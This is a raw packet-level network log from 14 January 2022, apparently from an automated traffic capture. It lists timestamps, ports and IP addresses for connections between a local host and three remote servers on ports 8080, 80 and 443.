Jan 14, 2022 04:59:11.529090881 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529123068 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.529126883 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529169083 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529206991 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.529208899 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529247999 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529278994 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.529289007 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529347897 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.587999105 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.588049889 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.588167906 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589437962 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589482069 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589521885 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589560032 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589581966 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589600086 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589600086 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589639902 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589678049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589716911 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589755058 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589759111 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589775085 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589795113 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589833021 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589847088 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.589903116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589940071 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589981079 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.589983940 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590020895 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590034962 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590060949 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590101004 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590138912 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590152979 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590179920 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590198994 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590223074 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590260029 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590301037 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590302944 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590341091 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590379000 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590382099 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590419054 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590431929 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590457916 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590496063 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590532064 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590534925 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590580940 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590619087 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590634108 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590658903 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590673923 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590694904 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590734005 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590749025 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590773106 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590809107 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590847015 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590867996 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590884924 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590898991 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.590924978 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590964079 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.590998888 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591016054 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.591037989 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591046095 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.591077089 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591114044 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591149092 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.591151953 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591192961 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591206074 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.591233015 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.591295004 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651364088 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651417971 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651458979 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651478052 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651499987 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651536942 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651576996 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651587963 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651618004 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651655912 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651660919 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651695967 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651695967 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651736021 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651776075 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651776075 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651815891 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651850939 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651863098 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.651890993 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651928902 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651966095 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.651968956 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652004957 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652043104 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652045965 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652081966 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652082920 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652124882 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652162075 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652173042 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652203083 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652240992 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652251959 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652280092 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652318954 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652324915 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652358055 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652399063 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652405977 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652439117 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652476072 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652486086 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652515888 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652554989 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652560949 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652595997 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652635098 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652647972 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652673006 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652712107 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652714968 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652751923 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652789116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652802944 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652827978 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652865887 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652875900 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652904034 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652942896 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.652945042 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.652981997 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653019905 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653033018 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.653059959 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653095961 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653126955 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.653135061 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653183937 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653197050 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.653223991 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.653383970 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.713323116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713602066 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713644981 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713661909 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.713684082 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713726044 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713737965 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.713766098 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713809013 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713820934 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.713870049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713913918 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713924885 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.713953972 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.713992119 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714001894 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714030981 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714071035 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714106083 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714116096 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714144945 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714153051 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714184999 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714224100 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714240074 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714262009 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714299917 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714310884 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714339018 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714378119 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714389086 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714413881 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714467049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714505911 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714518070 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714543104 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714576006 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.714600086 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.714627028 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:13.156016111 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.212496996 CET	80	49799	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.213407993 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.213493109 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.213515043 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.270082951 CET	80	49799	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.297408104 CET	80	49799	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.301103115 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.301270008 CET	49799	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.328531027 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.357666969 CET	80	49799	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.384835958 CET	80	49800	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.384958029 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.385051012 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.385065079 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.441406012 CET	80	49800	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.471846104 CET	80	49800	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.472130060 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.472284079 CET	49800	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.501864910 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.528584003 CET	80	49800	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.558235884 CET	80	49802	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.558356047 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.558448076 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.559793949 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.615178108 CET	80	49802	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.616276979 CET	80	49802	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.646641016 CET	80	49802	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.646874905 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.646903992 CET	49802	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:13.697762012 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.697823048 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.698050022 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.698271990 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.698302984 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.703300953 CET	80	49802	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:13.755359888 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.755536079 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.757371902 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.757404089 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.757646084 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.760009050 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.797382116 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797575951 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797638893 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797704935 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797755957 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.797780037 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797802925 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.797820091 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.797919035 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.797950983 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798029900 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798108101 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798157930 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798173904 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798192024 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798330069 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798374891 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798401117 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798476934 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798481941 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798501968 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798602104 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798624039 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798697948 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798715115 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798742056 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798834085 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798875093 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.798897028 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.798965931 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799030066 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799031019 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799050093 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799099922 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799140930 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799204111 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799272060 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799340963 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799372911 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799386978 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799407959 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799484015 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799489975 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799552917 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799563885 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799583912 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799588919 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799663067 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799678087 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799748898 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799798012 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799840927 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799856901 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799922943 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.799966097 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.799979925 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.800041914 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.800112963 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.800118923 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.800137043 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.800185919 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.800189018 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.800972939 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.800986052 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.801064968 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.816772938 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.816889048 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.816904068 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.816940069 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.816997051 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817034960 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817045927 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817065001 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817115068 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817117929 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817198038 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817248106 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817267895 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817289114 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817296982 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817374945 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817394018 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817414045 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817451000 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817468882 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817528009 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817583084 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817603111 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817627907 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817647934 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817706108 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817754984 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817775965 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817800999 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817820072 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817898035 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817948103 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.817969084 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.817995071 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.818011999 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.818068981 CET	443	49804	162.159.133.233	192.168.2.3
